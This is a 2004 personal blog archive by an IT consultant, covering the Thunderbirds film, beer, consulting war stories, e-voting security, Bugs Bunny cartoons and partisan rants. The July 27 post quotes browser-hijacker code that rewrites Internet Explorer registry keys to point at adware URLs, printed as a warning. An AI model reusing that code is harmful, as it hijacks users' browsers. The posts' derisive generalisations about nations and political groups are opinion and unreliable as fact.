Saturday, July 31, 2004

 

So I'm Playing Amateur Movie Critic Today

Both the New York Post and Daily News savaged Thunderbirds in their reveiws, whereas Stephen Holden of the Sulzberger Bird Cage Liner was somewhat kinder. Alas, Mr. Holden's fact checking needs a bit of of help, in that he claims that the orginal Thunderbirds was never shown in the US. Wrong, pal. The only Gerry Anderson show that was shown in a network timeslot was Fireball XL5, in the halcyon days of Saturday morning TV (10:30 on NBC). The rest of the Anderson shows were syndicated, and thus their airing was strictly a matter for the local stations. Thunderbirds was shown at various times on Saturday on New York's Channel 5 over a few seasons (it had a 10am slot originally if I recall correctly, then was rerun at 8am for subsequent go-rounds). Channel 5 also picked up Fireball XL5 when it was syndicated for a brief time. The other Supermarionation shows (Supercar, Stingray and Captain Scarlet) that were shown in New York were shown on Channel 11. To the best of my recollection, Joe 90 and Secret Service were never shown in the area, and I'm pretty sure that earlier stuff like Torchy wouldn't have been shown.

The kids decided they want to go to see the film after all, and we piled off to the multiplex. It only cost $43 for the bargain admission, the popcorn and drinks. Such a deal. The projectionist managed to run the trailer for Alien vs. Predator (or whatever the heck it's called) backwards and upside down, which gave me a huge laugh. Then came the movie.....

Bottom line is that it's a cute movie. I really doubt it will become a franchise, but I'll probably end up buying it on DVD just for completeness' sake. There's a couple of funny bits involving Lady Penelope that I really enjoyed. The original series, like most of the rest of the Gerry Anderson shows had miserably leaden scripts, but the whizbang factor more than compensated for it, and while this isn't going to change my nostalgia for the series (in its' own cheesy way) it was fun for the family.



Friday, July 30, 2004

 

Aqua Vitae


Today's Louis Renault "Shocked, Shocked!" Award goes to the European Union for their ahem, chagrin at the Arab states' refusal to support a resolution in the UN condemning anti-semitism. 

I've been in a bit of a moral dilemma since the Europeans decided to launch the rhetorical cold war against The Good Guys in that some of my favorite adult beverages are from the weasel nations. I'm not the sort of person who takes to actions like washing my car with a claret to make a point (damage to the finish aside), but I'll admit to being very reluctant to part with some of my hard-earned cash if it's going into the coffers of France or Belgium. It's summertime, and it's beer season, and we have the rather unfortunate fact that Belgium, despite its loathsome moral character, is Disneyland for beer lovers. I suppose I could somewhat justify a Trappist or two, assuming that the profits do indeed go to the good friars and not some Belgian corporation or government (or even worse EU) function. However, knowing the European attitude toward religion, I'm sure that the good friars are probably taxed to support their overlords and their socialistic weltanschung.  Then again, for fans of Trappist and Abbey-style beers, there are reasonable substitutes brewed in the US, including the truly great Ommegang (brewed in Cooperstown, NY), which is pretty darn close to Chimay red label (you can taste the difference, but then again, Chimay is the best beer in the world IMSHO).  Canada's Unibroue does some awesome beers in the Belgian ale style, including Maudite and La Fin Du Monde, but the nonsense coming out of Ottawa and Quebec gives me that same moral dilemma.

Not that there aren't great beers coming out of some of the good guys, I once had an awesome Peroni dark beer (I don't know if it was top or bottom fermented) in the Italian restaurant in the Met Life (Pan Am) building. I've never seen it again, only the regular lager style. And there are plenty of excellent micro- and regional brews in other styles from the US, including Shiner Bock (I'm partial to dark beers and ales, as if this musing hasn't given you the clue) and Anchor Steam. Heck, they even serve Foster's in the bar cars on Metro North (one most civilized amenity that I hope doesn't go away; yes it's overpriced, but there's something to be said for enjoying an adult beverage while letting Manhattan recede away).

The big push for Esteemed New Client's first deliverable is over, and I can safely kick up my feet and go on vacation (I will be blogging during vacation, perhaps not every day, but there will be assorted bon mots from yours truly). The big fight was over whether we were giving them too much information in this deliverable, not knowing whether they'd take it as a cookbook and run with the information. There's a lot of stuff in there (and to be perfectly frank it's deadly dull reading with lots and lots of Incomprehensible Multi-Letter Acronyms).


Thursday, July 29, 2004

 

Kommentar und Abstimmung

The Thunderbirds movie is coming out tomorrow, and disappointingly for us fans of the Supermarionation series, it looks like a bomb on the order of the last couple of Jennifer Lopez movies. All the signs are there, limited advertising, no toys at the big retailers, and no tie-ins with fast food chains. Since there weren't too many Thunderbirds toys on the first go-round (pretty much the only one that made it to the US in quantity was the Dinky Thunderbird 2, although some of the Japanese tin toy versions of Thunderbird 1 may have come over) it's doubtful the marketers are willing to take a chance on the movie, remembering how badly they got burned on the Matthew Broderick Godzilla fiasco. The film itself doesn't look too promising from the promos, and it's interesting that A&E isn't promoting the tie-in with its boxed sets of the original series. Yes, I'm going to see it in the theatre tomorrow along with one of my best friends who's also a Gerry Anderson fan. Our kids are singularly uninterested, which if I were a market researcher would be a sure sign to stick a fork in this one.

CNN reported that some Florida electronic voting records were wiped out accidentally, just so conveniently coinciding with the "Vote For The Kennedy Or Kennedy Clone of Our Choice" Fest in Beantown.  Interesting quote here:
In December, officials began backing up the data daily, to help avoid similar data wipeouts in the future, said Seth Kaplan, spokesman for the county's elections supervisor, Constance Kaplan.

This brings up a very interesting question. Just where and how is the data stored? Does the data remain on each individual voting machine in persistent storage (either on hard disk or USB key type memory, remember that we're talking about voting machines here, so the odds are that the low bidder is going to leverage commodity hardware rather than spend big bucks developing proprietary hardware that will be used at most three times a year)? And where does this data go, to a centralized database? Of course, one would not reasonably expect a gummint agency to apply anything in the general vicinity of best practices when it comes to things like data protection, much less consider the implications of fried commodity hardware when it comes to election decisions. As we saw earlier, Diebold was using Microsoft desktop system and application software in deploying electronic voting machines, something that would make any journeyman system administrator cringe for the security implications, much less a pro. Perhaps a Citrix-type solution might work, with a seriously engineered back-end, however, there are probably some election rules against that (given the possibility of a real-time count influencing the election). I can only say that if this is the standard level of care an election regulatory agency is taking with its data, give me a curtained booth and a paper ballot.

It's somewhat analogous to the reason many states adopted lethal injection over more traditional methods of dispatching malefactors. It was simply a matter of money, where it would cost five or six figures to refurbish their aging electric chairs and gas chambers (which would presumably only be used a few times a year), when instead  they could easily set up lethal injection for the cost of a gurney and some disposable IV supplies.

Wednesday, July 28, 2004

 

Have you had your daily absurdity today?

The Sulzberger Fish Wrapper and Pompous American published this article on the possibility of the MTA selling naming rights for various transportation facilities, in the same manner as sports arenas. I suppose we can look forward to the Duracell Brooklyn Battery Tunnel and the Ronzoni Verrazano Bridge at the least. I would imagine that intimate personal care products and vermin removers won't necessarily be considered for sponsorship unless the price is right, and I'll leave it to the reader as an exercise to find the most offensive sponsor for a bridge or tunnel. Nota bene - the bridges and tunnels to Jersey are not controlled by the MTA, but rather the Port Authority, of World Trade Center and airport infamy.

And turning to their (ahem) editorial page, we find Mr. Krugman opining on the need for audits of elections. The first question I would ask Mr. Krugman is who is going to conduct these audits? A Big 4 accounting firm? At their best, they sign opinions or attestations based on what the client provides them, and at their worst, well, that whirring sound you hear is old Artie A. spinning in his final resting place. I have some interesting observations on how a Big 4  firm performs IT audits, but they're not germane to this discussion (but I promise a future post will deliver some nice dish on them).  Then, there are the Democrat lower digestive orifices that are calling for the U freaking N to observe our elections. Let me guess, Syria, Iran, Nigeria and Ivory Coast are going to lecture us on democracy? Shame on these Democrats. I would expect something like this from an idiot like Edolphus Towns, who misrepresents the district gerrymandered from Shirley Chisholm and Elizabeth Holtzman's old districts (note to Ed, you have an awful lot of folks in your district who scrimped and saved to get their butts to the US and buy houses and participate in the American dream, they'll tell you just how democratic those third world toilets are). And of course Jerrold Nadler, who's only interest in pork is if it's on a plate served to him (and ranting about a rail tunnel for Bay Ridge that will never get built).   I'm sure that they and the other frothy-mouthed Democrats who are agitating for this assistance will be well represented on this week's convention coverage, describing how wonderfully progressive Lurch and The Ambulance Chaser will be.

For some reason I'm reminded of a scene that appears in various kaiju movies (that's the Japanese genre that spawned not only the large city-wrecking creature features, but some of their horridly childish science fiction) where the cops are holding a police line, and the intrepid reporters who always seem to be the protagonists of said features try to cross the barrier, being stopped with "You can't go in there! The monster is in there!". The reporters say "But we're with the UN!", getting an unctuous "Ah, so, UN. OK!". The likelihood of this scene translating to current Iraq is left as an exercise to the reader.

Tuesday, July 27, 2004

 

Technology, what a concept

Short shrift today because of D&D (minor deities and daemons) consuming all of my cycles.

This article documents a controlled experiment using a VMWare instance of XP Home where a security analyst deliberately let the system be infected by malware. If you need still a reason to turn off Javascript, read this through. These malware purveyors are real cuties, encoding in hex a bunch of code that will replace your default homepage and search engine with their (ahem) value added code, and destroy your ability to use Windows Media Player, not to mention downloading a stub program that will further download various trojans to your desktop.

An example of the cute code (and whatever you do, do not go to the URLs in the code unless you know what you're doing! Repeat, there be dragons)

wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",   "http://default-homepage-network.com/start.cgi?new-hkcu");wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",   "http://default-homepage-network.com/start.cgi?new-hklm");wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",   "http://server224.smartbotpro.net/7search/?new-hkcu");wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst", "no");wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",  "http://server224.smartbotpro.net/7search/?new-hklm");wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst", "no"

The code begs the question as to why things such as this can have write permission to sensitive keys in the registry without at least some form of confirmation, but you can leave that for the next MSFT shareholders' meeting. You've been warned.

One thing that may help is a utility called BOClean. It's certainly a great idea, has gotten very good reviews, and it's certainly much easier on system resources than Norton Anti Virus. I'm rather down on NAV lately, as the 2004 edition has gotten incredibly bloated, and absolutely gummed up several systems here at Beobachterschloss  Am Berg.  The 2002 version is much lighter in footprint, and even caught a couple of trojan attempts when I was wandering far from my usual haunts in search of ever newer goodies to opine on. SpywareBlaster and the immunize features from the various scanners are still a primary line of defense, though.

An article in the local paper indicated that Peapod has extended its service to my town, and I decided to check it out. The Mrs. was only mildly interested, but Mom was quite curious about  saving the schlep to the market. So we took a look at the kosher offerings, and it was the usual supermarket stuff (Empire turkeys, Hebrew National franks), but the rotating promotional ads below gave us a huge belly laugh. It seems that their ad server thought that people perusing the kosher section would also be interested in scallops wrapped in bacon, brown and serve sausage, and pasteurized crabmeat.


Monday, July 26, 2004

 

Attention Whores

This item about a two-tiered legal system got me hot under the collar. Considering that most celebrities are nothing but attention whores, I think it serves them well to get a taste of what the profanum vulgus must deal with if they receive warranted or unwarranted attention from the legal system.  I make no speculation on whether Mr. Bryant or Mr. Jackson are guilty of the crimes they are being prosecuted for, and firmly believe that they are innocent until proven guilty. Salaciousness and providing filler time for Greta van Susteren aside, Messrs. Bryant and Jackson are entitled to exactly the same protections and privileges that any person incapable of dribbling or copping Jackie Wilson's moves are. Nothing more. Nothing less. And if that means they slap the bracelets on them, so be it. Obviously Mr. Jackson is not a physical threat to police, and he'd be ill-advised to initiate any confrontation, but he his attorneys will make sure that he is not mistreated at the hands of the authorities. They're well paid to do so. There is no guarantee that Mr. Jackson will not be mistreated by his fellow inmates, and I would suppose that there is little more than a "reasonable care" standard applying in the case of custody, otherwise there would be far more lawsuits arising out of Joe Schmo being locked up and becoming someone's Maytag. Supposedly there is a "celebrity" wing at the LA County Jail, where Messrs. Blake, Simpson and Spector have all darkened the halls. I do believe there is a concept called equal protection under the law, from a little thing called the Constitution. You perhaps remember it from school.

Just as a side note, since I referenced Ms. van Susteren's show, one of her frequent guests in the interminable coverage of Messrs. Jackson and Peterson is an attorney by the name of Gloria Allred, who seems to thrive on publicity. Apart from her injecting herself as an officer of the court in both the aforementioned cases, and adding no value or clarity to the proceedings (consider her current status in the Jackson case), Ms. Allred did one thing that was ghoulish, irrelevant and so craven that it bears mentioning. As you recall, George Harrison passed away at a friend's home in Los Angeles in November 2001. The death certificate had an incorrect address for the location of death. This can be explained in one of two ways, the first being a clerical error (fairly unlikely, but possible) or secondarily as a bit of obfuscation designed to preserve the privacy of the families. Ms. Allred marshalled her publicity hounding skills to a huge extent when this fact emerged, and demanded an investigation by the District Attorney. The question I would ask here is what was the harm in this? Mr. Harrison's death was of natural causes, and there was no foul play suspected.  There might have been some police or coroner presence at the scene, as oftimes happens with a death at a private residence.  Who was injured by the horrendous act of changing the address on the death certificate?  The LAPD even noted that it was no crime, unless it was for purposes of fraud. Quoth the Yahoo story on the subject:

However, Allred lodged a complaint because she believes that, "Celebrities and / or their supporters are not above the law, even if they are acting with good intentions, for example, to protect the privacy of loved ones." Allred added, rather tastelessy, "All things must pass, but not this."

One thing that's long overdue is the scaling back of broadcast coverage of the political conventions. The primaries have long since made the decisions formerly made in the proverbial smoke-filled rooms, and listening to speechifying, of any sort, is in the general vicinity of having a root canal procedure on my list of favorite things to do. The loss of interest on the part of the general public in politics is part of the root cause, however, there is little relevance in watching Senator Claghorn intone  a 45 minutes speech casting the votes of his state for the Kennedy-dictated candidate du jour, thanking the chicken farmers, coal miners, Sushulist Werking Pipples (er, I mean, the great workers of the state) and every other liberal icon out there, all while a bunch of foaming at the mouth conventioneers wave huge signs that have probably been recycled since Adlai was nominated.


Sunday, July 25, 2004

 

The Wit And Wisdom Of Proposals

The Chinese Fire Drill is extending through the weekend, as we need to "tell a consistent story" in the upcoming deliverable. Of course, as in camels, any document designed by committee is going to have a lot of different styles and messages, and rationalizing them into a unified document has historically a) never really worked, since most management consultants can't use words like "concomitant" properly and any of the better writers can't dumb down what they're writing and b) introduced so many logical errors at the last second that the document is more incomprehensible than it was in the first place. I remember an RFP response that was due at 3pm one Friday, and a pointy-headed boss decided to change the flow of a paragraph at around 1:50. Unfortunately, he also introduced something that totally changed the meaning of what we were trying to say, and after 50 minutes of scrambling, tearing out and inserting new pages, I ended up jumping in a taxi with a banker's box full of RFP responses to get to the client in time. I made it with all of 5 minutes to spare, bumping into a friend from a competing consulting firm also laden with a banker's box full of proposals as I cleared the security desk in the lobby. The hilarious thing about this RFP was that the person who issued it for the client had absolutely no permission from his superiors to do so, and the entire process was cancelled unceremoniously on the following Tuesday. I figure an awful lot of sales projections went down the tubes at consulting firms all the way across Manhattan that day.

We had one manager who had a rather benign, gnome-like countenance, however, he was astonishingly ineffective as an engagement manager (he managed to louse up a major bank relationship), and he thought he could sell business (he was tag-teamed with a salesman who apparently previously worked for Vandelay Industries). Whenever this guy's name and the word proposal were uttered in the same sentence, it was like an apartment when you come home, turn on the lights, and all the cockroaches scatter - every consultant in the building regardless of their bench status or workload level would suddenly find themselves engaged so as to avoid working with this guy on a proposal. One afternoon I was sitting in the office, and my wife phoned me saying "R's looking for you". I expressed surprise that he would call my house, when I was across the hall from him, with the door open, but I walked across and asked what was up. He said, "We've just received a major RFP. It's a financial services technology gig, right up your alley. Put together a team and write the response". With no out, I said OK, and asked the particulars. It turned out to be due that Friday (it was Tuesday afternoon), and then when I asked for the particulars, I received a forwarded e-mail with a few bullets. "So where's the RFP?" "This is it" "Whaddya mean, this thing has no Ts and Cs (terms and conditions), a lot of this is field work we don't do..." and about a hundred other objections came out from me after reading this thing. But R made it very clear that we were responding to this thing, even though it was obviously not in our area of competency and so vague that I probably could've put a Franz Kafka story in as a response and it would've gotten an equivalent review. So, given the authority to drop R's name with the various resource gatekeepers, I played like I was Oberkommando Beraterkraft, and called total mobilization of everyone on the bench to respond to this idiotic thing. I spent the next day and night trying desperately to put something coherent together, and at the point of exhaustion on Wednesday night(it might've already been after midnight), I was informed that there was a seven AM conference call with the company putting out the RFP. Mandatory. OK.

So I dragged myself out of bed and got on the conference call. On which, the client says, "well to be honest with you, we've really decided to go with XYZ, but we sent you the RFP as a courtesy".  My #2 and I excused ourselves from the conference call, and we said "R really thought we were going to have a chance with this?". We finally got him on the phone and after telling him the events that transpired, his response was singularly interesting. "You mean you didn't tell him about our firm's value proposition?"


Saturday, July 24, 2004

 

Scorecards, can't tell the players without a scorecard

My current project is one that Scott Adams would have a field day with. We're looking at implementing enterprise dashboards and balanced scorecards for a Large Investment Bank (our relationship with them to date has been sufficiently innocuous to the point of not having assigned a nickname to them, although in my previous dealings with them they've been all talk and no spend). The problem with this is a generic one in that the idea of an enterprise dashboard is pretty nifty, actually getting the information to flow in something approximating real time is going to be a nightmare, and the client is also looking for some kind of risk picture about their IT infrastructure. This is ordinarily a very simple understandable thing for the propellerheads, using the OpenViews, Patrols and Netcools of the world, but then we get into an interesting eighth and ninth OSI layers debate,  as how do you weight infrastructure components in terms of their overall risk to the enterprise? I mean, is a router connecting to Reuters (oooh, cool alliteration) more important than the router connecting to SIAC, and are either of them as critical as the PBX? It probably will make for a very interesting exercise in mental masturbation, but the dashboard view of infrastructure can't take into account non-quantifiable things, like what happens when the next MS service pack comes out? Anyone with large enterprise experience will tell you that there isn't a heck of a lot of time to test the service packs before the business mandates they roll out, and you never know just what those service packs will break.

The balanced scorecard is one of those management toys that absolutely makes me cringe. Apparently the term "balanced scorecard" has even been copyrighted, trademarked or in some way registered by some consultants so as to make even using the term squirrelly, but the clients are asking for it, and being good little consultants we shall provide same to them. Most of my previous experience with them has been in an HR context (my opinion of HR is somewhere in the same vicinity as my opinion of Hamas), and of course these scorecards try to take the most subjective of opinions and turn them into quantifiable measurable criteria to use to decide if the employee will be granted the privilege of continuing to toil under conditions that are Disapproved By Bad Housekeeping Magazine, or given the Soviet-style retirement plan (e.g. kiss on left cheek, kiss on right cheek, bullet in back of head). The only measurement that counts on these things anyway is productivity, whether it be billable hours or lines of code produced.

My reading assignment for the weekend is to wade through a huge amount of intellectual capital (read as marketing bullshit) and try to make sense of it in such a way as we can say to the client that we can indeed give them what they want. The problem here is that the client has been astonishingly vague in what they've communicated to us, and without specifics it's Not A Good Thing to start throwing out mid-eight figure project costs unless we know what we're supposed to deliver. The sum total of requirements we've gotten is a bullet list that's about a third of a page long. Failure to plan is planning to fail, boys and girls.

On the Gallic gall front, the following note was posted to the French consulate's door in New York:  
 "Visas for France are not a right. Persons applying for visas are requested to show due respect for Consular personnel. Failure to do so will result in the denial of the application and denied entry into any of the EU [European Union] countries."

I say:





Friday, July 23, 2004

 

Impromptu Kvetches

Chinese Fire Drill in progress today, so I only have time for some quick observations.

There used to be a pretty decent page by Lorrie Cranor on the Bell Labs web site about electronic voting, and for some reason that page has been pulled. I wish I had it handy, since on the good Doctor's site, I found a link to this story about hacking a Diebold electronic voting machine, and I'm flabbergasted to say the least. OK, economies of scale and all that, but using a Microsoft OS for something that needs to be secure and trusted? And on top of that using a file format that can be read with an ordinary desktop tool like Access? For sheer amusement, I'm going to download the various files and see for myself, but if I was running an RFP for an e-voting solution and Diebold came up with this, I'd chuck it faster than a dirty diaper. Makes you wonder about their ATMs now, too, especially since they're going IP whenever possible (and just what's wrong with SNA/APPN, the old fart asks?).

An article well worth your attention on the problems facing Sydney and Paris (and no, I'm not referring to some tarts on TV). The implications for what could happen here are frightening. An excellent followup to "Barbarians At The Gates Of Paris", which can be found here.

First, Merijn pulls the plug on CWShredder, and now Wilders Security won't analyze HijackThis logs any longer.  A rather disturbing trend when the volunteer community no longer wishes or cannot help out with the evils of malware. It's really time for Symantec and Network Associates, as well as Microsoft to step up to the plate and put some serious resources up against the low-lifes who are perpetuating this browser hijacking criminality. Doubtful they will, as they probably have alliances with adware and other quasi-legit outfits to help them deliver their content, and those pay a lot better than anti-virus subscriptions (at least as far as the bean counters see it).

This information is publicly available at Fundrace so I'm not letting any big secret out here, but for your amusement,  and a bit of detective work, you can find out which major investment bank's CEO and Chairman Of The Board is for Bush, but the bank's president and COO is for Kerry. The morning call must be a load of laughs over there.....

In the latest episode of Les Francais Sont Cochons, we find the director of the Tour De France saying that fans have spit on Lance Armstrong. Unsanitary little cretins, aren't they?  Courtesy of Little Green Footballs, take a look at the warm reception Lance got in the Pyrenees:
 

And speaking of our Gallic friends, they're trying (somewhat) but this post on the French Embassy's web site has a howler of a headline - "Knesset Speaker thanks France for Anti-Semitic effort".


Thursday, July 22, 2004

 

Cheapskates

Somewhat light blogging today due to needing to track down all sorts of information for my new engagement.

Which brings me to my previous engagement at Colditz. As I previously noted, as much as 75% of the overall program may be cancelled due to escalating costs and politics. There are changes afoot in the board, and the new management is reluctant to spend eight figures plus cleaning up the mess in each business unit (note that there are a lot of business units). Spend in the low seven figures, OK. However, just from an infrastructure perspective alone, the technology refresh will clobber the budgets. The team developing the standards for Colditz has used the Cadillac / Chevy / Yugo paradigm, however, there are problems with the way they set those standards. For instance, one can either go with very low-end Sun boxes (up to 1280s, which incidentally do not offer things like logical partitioning) or you must go all the way up to a 15K. Even a small domain (Sun-speak for a logical partition) on a 15K is charged back to the LOB at a huge cost, and requires a multi-year commitment from the LOB. Of course, there are major changes happening to the business, and committing for several years to a system that may disappear within the next quarter due to realignments is making lots of folks antsy.

A related issue is databases. Nothing spectacular here, as they're using the standard crop of enterprise RDBMSs, but the business has expressed a desire to save money on their infrastructure. The logical answer here is to put multiple instances of databases on 15Ks (which is the usual way one would approach this problem), however, as I previously noted, the cost model and commitment required makes the LOB squirrelly. Running multiple database instances on a 1280 isn't recommended by the engineering guys, but even with running the databases on lower-end Sun machines, the hardware tab adds up quickly. The logical solution is to run the smaller databases on Wintel platforms. The RDBMS vendors have given the client extremely favorable licensing terms, so there's no real difference as to which OS a box runs (it's a very low cost item in terms of licensing and chargeback). However, the engineering guys are very reluctant to support it. In the case of one RDBMS, it's written in Java, and is essentially the same code across platforms, so the difference is one of the JRE, which affects a lot more than just the database, and we've heard no squawks about cross-platform Java apps.

Then again, even given the regulatory mandate, Colditz might opt for just paying the fine, which would probably be in the low six figures, as opposed to spending nine figures to make things right.


Finally, if no one else will say it, what is it that these two people have in common?


Wednesday, July 21, 2004

 

Of Course You Realize, This Means War

My recent musings on various cultural icons have given me the impetus to comment upon what I feel is the defining cultural works that have shaped my weltanschung, yes folks, Bugs Bunny cartoons. For whatever it's worth, these are my favorites, along with the inevitable pithy, trenchant analysis from your blogger. So in reverse order, here we go.... 

6. Herr Meets Hare (1945) - Other than "Bug Bunny Nips The Nips" which has been virtually banned because of its' portrayal of the Japanese (Mel Blanc does a really funny pidgin Japanese voice that  is decidedly un-PC), Bugs wasn't really enlisted in the war effort until this cartoon, which interestingly enough came out well after V-E Day. Bugs takes (for the first time) the proverbial wrong turn at Albuquerque, and ends up in the Black Forest, where he encounters none other Hermann Goering (invoke Godwin's Law in 5, 4, 3, 2....) . Bugs then proceeds to torment Fatso Hermann through various methods including masquerading as Hermann's very unlamented boss, and as Brunhilde, doing the exact shtick that naive critics lauded in the much later "What's Opera Doc" (it was far funnier in "Herr Meets Hare", even given the grimmer context). The cartoon features an interesting punchline that provides a very interesting insight into the political leanings of Hollywood. Does your tobacco taste different lately? 
 
5. Hair Raising Hare (1946) - An evil scientist who looks suspiciously like Peter Lorre invites Bugs to meet his little friend, the hairy monster with sneakers, Gossamer. So many great tag lines in this one, including "So it's mechanical!", "And so having disposed of the monster". Great sight gags, and of course the immortal manicurist bit ("Now lets dip our patties in the wa-ter"). Later remade as "Water, Water, Every Hare", with an even funnier beautician bit, but the rest of "Water" was fairly blah. 
 
4. Bugs And Thugs (1954) - A remake of the 1946 short "Racketeer Rabbit", which featured caricatures of Edward G. Robinson and Peter Lorre, this one has the immortal "Whoa ho, he's hiding in the stove!" bit. Both cartoons have a lot of merit, with the very dumb Mugsy adding a lot of laughs that the Lorre character didn't to "Racketeer". 

3. Long Haired Hare (1949) - The best of the opera cartoons. While "Rabbit Of Seville" had some of the most expressive facial expressions and a hilarious vocal, "What's Opera Doc" was basically an experiment that doesn't really work for me (and besides, as I pointed out earlier, the Brunhilde bit was done a dozen years before in "Herr Meets Hare"). This cartoon features the classic Bugs elements of the rabbit just doing his thing and being provoked by a pompous ass, then wreaking wonderful havoc. Score extra points for the bobby soxer and Leopold bits.

2. Rabbit Seasoning (1952) - The best of the three cartoons featuring Bugs, Daffy and Elmer in hilarious verbal sparring matches penned by Michael Maltese. Interestingly, "Rabbit Seasoning" is the cartoon with "Would you like to shoot him now or wait till you get home?", and "Rabbit Fire" is the cartoon with "Rabbit Season! Duck Season!". "Rabbit Seasoning" features the immortal "Pronoun trouble" line.  "Rabbit Fire"'s mainly memorable gag to me was the elephant gun gag, with a great Joe Besser-esque punch line, and "Duck! Rabbit! Duck!" had the bit with "I'm an fiddler crab! Why don't you shoot me? It's fiddler crab season!", but for some reason both of those don't really measure up to the manic level of "Rabbit Seasoning".
 
1. Bowery Bugs (1949) - One of the few cartoons that presents Bugs in his natural habitat, i.e. New York City. The other overtly New York cartoons out there are "Baseball Bugs", "Hurdy Gurdy Hare" and "A Hare Grows In Manhattan", however, while each of them has their moments, none have that consistently maniacal pace of Bowery Bugs. "Baseball" is of course much more about the eponymous sport, and merely has some New York scenery for effect. The Statue of Liberty gag at the end is incomprehensible, probably referring to some topical contemporaneous radio gag. "Hurdy Gurdy" is just another Bugs vs. bully chase, but it does have the great subway gag "Plenty of room in the center of the car, push in, push in!". "A Hare Grows" isn't really a favorite of mine, but I always liked the Egyptian Cigarette billboard gag. That one actually shows Carl Stalling's talent for finding just the right music, and I wish I could track down that piece of music, it's a great track. But I digress...

 
"Bowery Bugs" is the only Bugs cartoon directed by Art Davis, and as such is quite a rarity. Based on the New York legend of Steve Brodie, who allegedly jumped off the Brooklyn Bridge and lived to tell about it (he very probably did no such thing in reality, but promoted himself quite well as having done so). The cartoon twists the legend, painting Brodie as a typical Bugs-ian villain, similar in spirit (if not execution) to "Hercules / Toodles" from "Homeless Hare". In the words of the cartoon Brodie had "a terrific run of luck, hehehehe, all bad". Of course, Brodie looks for a rabbit's foot to change his luck, and when he encounters Bugs (in the "forest primeval" -  Flatbush), he's convinced by our hero to consult "Swami Rabbitima" to change his luck. The entrance to the swami's salon is hilarious, as the curtains part, a voice intones, "Enter, o seeker of knowledge". A sandbag swings like a pendulum across the opening, smacks Brodie in the head, and you hear a classic Mel Blanc performance yelling "That's you, fathead!".
 
There are so many great gags in this cartoon it's hard to describe them all, but a personal favorite finds Brodie in a Bowery saloon on his face on the floor, and the proprietor intones in a mousy voice "At it again eh, Brodie? I'll have to call the bouncer. Heyyyyyy, Gorilla!", at which point the kitchen doors slam open and a large gorilla wearing a bow tie comes out and escorts Brodie off the premises. The gag with the puppy immediately afterwards is the icing on the cake. The New York feel of this cartoon is unsurpassed.
 
Honorable Mention: "Slick Hare", where Elmer is a hapless waiter in the Cafe Mocrumbo, trying to please a demanding Humphrey Bogart. The "Pick up pie!" bit is priceless, with Bogart coming in covered in a thrown pie asking Elmer totally deadpan "Why did you hit me in the face with a coconut custard pie with whipped cream?". Bugs impersonating Groucho is a good chuckle (he also did a Groucho impersonation in "People Are Bunny") 
  
"Homeless Hare", for the great ending gag where just as a massive pipe section is about to crash onto Toodles/Hercules, he says hopelessly, "Oh no", then after contact is made, a door swings open, and Toodles/Hercules says in one of the greatest defeat voices ever, "I'm feeling mighty low".
 
"Rabbit's Kin", for Pete Puma and the "How many lumps?" bit
 
"Hareway To The Stars", for the definitive Marvin The Martian bit ("Oh goody, the Illudium PU-36 Explosive Space Modulator!" BOOM!). Visually impressive, but not a great cartoon other than the Space Modulator bits.
 
"Big House Bunny", for a great Mel Blanc performance as the screaming prison warden, and for being heavily censored (the cartoon is set in Sing Song Prison, and Yosemite Sam, as guard "Sam Schultz" manages to have several forms of capital punishment inflicted upon him).

Tuesday, July 20, 2004

 

Yenem ist meshigga

Mrs. Ritchie is about to start singing in Yiddish.
 
Dor tzu voinen ist a fergenegen.....A karnatzaleh? A meshuggineh oysvorfeneh kurveh!
 
It's rather hard to rock in Germanic languages (Sie Liebt Dich notwithstanding), and of course Yiddish is largely Germanic and Slavic, with a bit of Hebrew in the mix. Hebrew itself is a bit tougher to rock in, but in the wildest coincidence the prayer Adon Olam can successfully be chanted to Cream's "Sunshine of Your Love" (with the delicious side effect of seeing clergy flummoxed). 
 
However, Yiddish is also a cultural thing, and has a pretty wide variation in pronunciation. People from Bialystok would say the word genug ("enough") with a different inflection than someone from the Galicia area of Poland (I've heard Galitzianers pronounce the word  almost like "geneeg"). It's a very expressive language, and not exactly one you just pick up. There's a reason why it's referred to as "mama loshen" - it's a language spoken at home with parents and friends. While almost everyone knows a few words in it, it's not something you just suddenly start doing dance numbers in, unless you're singing "Rumania Rumania" to some seniors in a Florida condo.



 

Assorted Rants

Before we get to today's rants, kudos to the audience at the Aladdin Casino in Las Vegas that sent a resounding message to Linda Ronstadt and by extension to the entertainment loudmouths who presume to know better than the vox populi. Aladdin's president Bill Timmins had Ronstadt escorted off the premises and banned her as a result of the fracas. I haven't been to Vegas in ten years, and I don't have any business or pleasure plans to visit, but if I do make it there, I'll make sure to patronize the Aladdin. 

I've had so many damn conference calls lately that I'm entering the passcode if I call to order takeout Chinese. It's well-nigh impossible sometimes to multitask and actually do work while someone is droning on in your ear (thank heavens for Plantronics headsets) and you have to listen carefully in case someone throws a curveball at you in the meeting. Multitasking is actually frowned upon, as the leader of these meetings is usually on a power trip and if you come off mute one second too late saying "Sorry I was multitasking", you will get verbally assaulted and told to concentrate on this holiest of holy meetings.
 
Train etiquette is a pet peeve of mine. There are several lower forms of life that inhabit the commuter train, who don't understand the simple maxim of talking sparingly and softly, as people might be working or sleeping. The most obvious are the cell phone kings, who blabber incessantly from the moment the train leaves the tunnel at 97th Street until Chappaqua or Darien, solving something undoubtedly earth-shattering for them. I have one word for people like that - Blackberry. The second annoying layer are the clueless day trippers, especially blue haired ladies in on matinee day, or the family airing out their kids. For them, the train is a great adventure as opposed to the grind it is for us everyday riders, and the party they bring to the train is hugely annoying, especially when Mrs. Blue Haired Lady from Bronxville or Noroton Heights has to announce to her friend in a voice that can be heard three cars over that she's working on a local committee to save the throat-warbling mangrove bird and reconstruct the local library. I hate those "Goo-goos" (good government types). And finally, the kaffeeklatsch, or train clique. Most train cliques are fairly civil and quiet, and know when it's acceptable to talk, or keep it down when someone doesn't care, but then there are groups like the bridge foursomes, or the dreck yentas who can't stop talking, who make the train seem like a saloon on a Thursday night.
 
